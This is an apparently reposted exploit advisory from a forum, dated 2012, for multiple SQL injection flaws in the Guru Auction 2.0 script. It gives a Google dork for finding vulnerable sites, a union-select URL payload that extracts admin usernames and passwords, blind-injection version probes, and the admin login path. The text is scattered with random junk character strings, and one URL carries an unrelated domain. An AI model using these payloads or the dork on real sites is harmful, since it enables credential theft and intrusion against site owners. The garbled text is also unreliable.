Guru Auction 2.0 Multiple SQL Injection Vulnerabilities* d' U3 r5 G1 r# n2 \
! ~, O, t7 n6 z! C7 E0 ~! x
作者 : v3n0m$ o4 F* C. @# F, i; T1 p
应用 : Guru Auction 2.05 N t8 e, U! E; h1 X! @0 |7 L
Price : $49
$ a: e) _( I$ _! u( [1 u7 ]% ~Vendor : http://www.guruscript.com/
8 \9 J- V6 ~" r+ j3 M) {, y; mGoogle Dork : inurl:subcat.php?cate_id=; g. i7 w* V; p( @+ Y0 j# w
+ U j; c- K" O' Z% X
SQLi p0c:& H: F/ g7 @' e# ?3 R
~~~~~~~~~~4 t! T: X* F/ g
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--: ~% |* _5 ^8 t3 m6 x
% c9 f- S1 Y6 E4 X2 e8 k6 R
* f5 s+ v4 b: n' u% i盲注 p0c: I7 {3 k5 i% ^* s
~~~~~~~~~~
6 c2 L' q. w2 r0 Rhttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true- g' K6 u: s! \8 @# B
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false# e/ b( b9 P1 h+ u5 P! U1 ?
2 w+ s$ b1 h R; [7 F& g, y
管理登录入口:
$ K! w$ N9 `2 ]8 e/ a) b: w8 _~~~~~~~~~~7 t( I8 E6 }! w
http://domain.tld/[path]/admin/& w, ?/ p/ c( |* }
|
发表于 2012-12-31 09:24:05
收藏
支持
反对